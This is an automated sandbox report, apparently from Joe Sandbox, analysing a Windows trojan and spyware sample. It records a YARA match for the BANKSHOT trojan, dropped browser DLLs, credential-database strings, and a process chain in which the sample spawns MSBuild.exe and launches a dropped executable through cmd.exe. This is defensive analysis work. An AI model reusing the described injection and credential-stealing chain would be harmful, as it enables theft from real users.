Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0040B3A0	19_2_0040B3A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_004013A3	19_2_004013A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0042C470	19_2_0042C470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_004364F0	19_2_004364F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00414487	19_2_00414487
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0041049B	19_2_0041049B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0041C5F0	19_2_0041C5F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00408590	19_2_00408590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_004035B0	19_2_004035B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0040164F	19_2_0040164F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00448652	19_2_00448652
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_004486F0	19_2_004486F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0040A850	19_2_0040A850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00431860	19_2_00431860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0043B8C0	19_2_0043B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0043E8A0	19_2_0043E8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0042098B	19_2_0042098B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_004489A0	19_2_004489A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00444A40	19_2_00444A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00448A80	19_2_00448A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00447AB0	19_2_00447AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0041DB6F	19_2_0041DB6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00407BF0	19_2_00407BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00448C02	19_2_00448C02
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0042CCD0	19_2_0042CCD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00446CBF	19_2_00446CBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00428D62	19_2_00428D62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0042FD10	19_2_0042FD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0042DD29	19_2_0042DD29
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0042AE57	19_2_0042AE57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00448E70	19_2_00448E70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00414E2A	19_2_00414E2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0040BEB0	19_2_0040BEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00416EBF	19_2_00416EBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_0040AF10	19_2_0040AF10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00447FC0	19_2_00447FC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 19_2_00408FD0	19_2_00408FD0

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C5D3620 appears 49 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0041D300 appears 152 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C7309D0 appears 196 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C53CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C73DAE0 appears 46 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C5D9B10 appears 41 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 0040CAA0 appears 48 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004045C0 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C5494D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 6C73D930 appears 37 times
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Code function: String function: 009D7B80 appears 49 times
Source: C:\Users\userJKECGDBFCB.exe	Code function: String function: 000F9978 appears 93 times
Source: C:\Users\userJKECGDBFCB.exe	Code function: String function: 000C7B80 appears 49 times
Source: C:\Users\userJKECGDBFCB.exe	Code function: String function: 0010A1D8 appears 152 times

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6720 -s 268

Source: 45Ywq5ad5H.exe, 00000000.00000000.1257166883.0000000000A4C000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameproquota.exej% vs 45Ywq5ad5H.exe
Source: 45Ywq5ad5H.exe	Binary or memory string: OriginalFilenameproquota.exej% vs 45Ywq5ad5H.exe

Source: 45Ywq5ad5H.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 1.2.MSBuild.exe.42bbc8.0.raw.unpack, type: UNPACKEDPE	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 1.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: HiddenCobra_BANKSHOT_Gen date = 2017-12-26, hash5 = ef6f8b43caa25c5f9c7749e52c8ab61e8aec8053b9f073edeca4b35312a0a699, hash4 = daf5facbd67f949981f8388a6ca38828de2300cb702ad530e005430782802b75, hash3 = b766ee0f46c92a746f6db3773735ee245f36c1849de985bbc3a37b15f7187f24, hash2 = 8b2d084a8bb165b236d3e5436d6cb6fa1fda6431f99c4f34973dc735b4f2d247, hash1 = 89775a2fbb361d6507de6810d2ca71711d5103b113179f1e1411ccf75e6fc486, author = Florian Roth, description = Detects Hidden Cobra BANKSHOT trojan, hash9 = 6db37a52517653afe608fd84cc57a2d12c4598c36f521f503fd8413cbef9adca, hash8 = 3e6d575b327a1474f4767803f94799140e16a729e7d00f1bea40cd6174d8a8a6, hash7 = ec44ecd57401b3c78d849115f08ff046011b6eb933898203b7641942d4ee3af9, hash6 = d900ee8a499e288a11f1c75e151569b518864e14c58cc72c47f95309956b3eff, reference = https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: 45Ywq5ad5H.exe	Static PE information: Section: .data ZLIB complexity 0.989934375
Source: userJKECGDBFCB.exe.1.dr	Static PE information: Section: .data ZLIB complexity 0.9912368881118881
Source: a43486128347[1].exe.1.dr	Static PE information: Section: .data ZLIB complexity 0.9912368881118881

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@14/42@10/4

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_6C567030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

1_2_6C567030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00419600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

1_2_00419600

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00413720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

1_2_00413720

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\HJE5JMES.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7660
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7616:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6720
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7676

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\54f6dcb2-37ef-467b-9995-9bd83d68f4a7

Jump to behavior

Source: C:\Users\userJKECGDBFCB.exe	Command line argument: MZx	18_2_000C2021
Source: C:\Users\userJKECGDBFCB.exe	Command line argument: MZx	18_2_000C2021
Source: C:\Users\userJKECGDBFCB.exe	Command line argument: MZx	18_2_000C2021

Source: 45Ywq5ad5H.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: MSBuild.exe, 00000001.00000002.1752811394.000000001B592000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1765332478.000000006C73F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.1763967325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: MSBuild.exe, 00000001.00000002.1752811394.000000001B592000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1765332478.000000006C73F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.1763967325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: MSBuild.exe, 00000001.00000002.1752811394.000000001B592000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1765332478.000000006C73F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.1763967325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: MSBuild.exe, 00000001.00000002.1752811394.000000001B592000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1765332478.000000006C73F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.1763967325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: MSBuild.exe, MSBuild.exe, 00000001.00000002.1752811394.000000001B592000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1765332478.000000006C73F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.1763967325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: MSBuild.exe, 00000001.00000002.1752811394.000000001B592000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1763967325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: MSBuild.exe, 00000001.00000002.1752811394.000000001B592000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1765332478.000000006C73F000.00000002.00000001.01000000.00000008.sdmp, MSBuild.exe, 00000001.00000002.1763967325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: DHIJEHJDHJKECBFHDHDH.1.dr, GIEBAECAKKFCBFIEGCBK.1.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: MSBuild.exe, 00000001.00000002.1752811394.000000001B592000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1763967325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: MSBuild.exe, 00000001.00000002.1752811394.000000001B592000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.1763967325.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.1.dr, softokn3.dll.1.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: unknown	Process created: C:\Users\user\Desktop\45Ywq5ad5H.exe "C:\Users\user\Desktop\45Ywq5ad5H.exe"
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6720 -s 268
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userJKECGDBFCB.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userJKECGDBFCB.exe "C:\Users\userJKECGDBFCB.exe"
Source: C:\Users\userJKECGDBFCB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\userJKECGDBFCB.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7660 -s 284
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7676 -s 1660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7676 -s 1680
Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userJKECGDBFCB.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userJKECGDBFCB.exe "C:\Users\userJKECGDBFCB.exe"	Jump to behavior
Source: C:\Users\userJKECGDBFCB.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\45Ywq5ad5H.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\userJKECGDBFCB.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
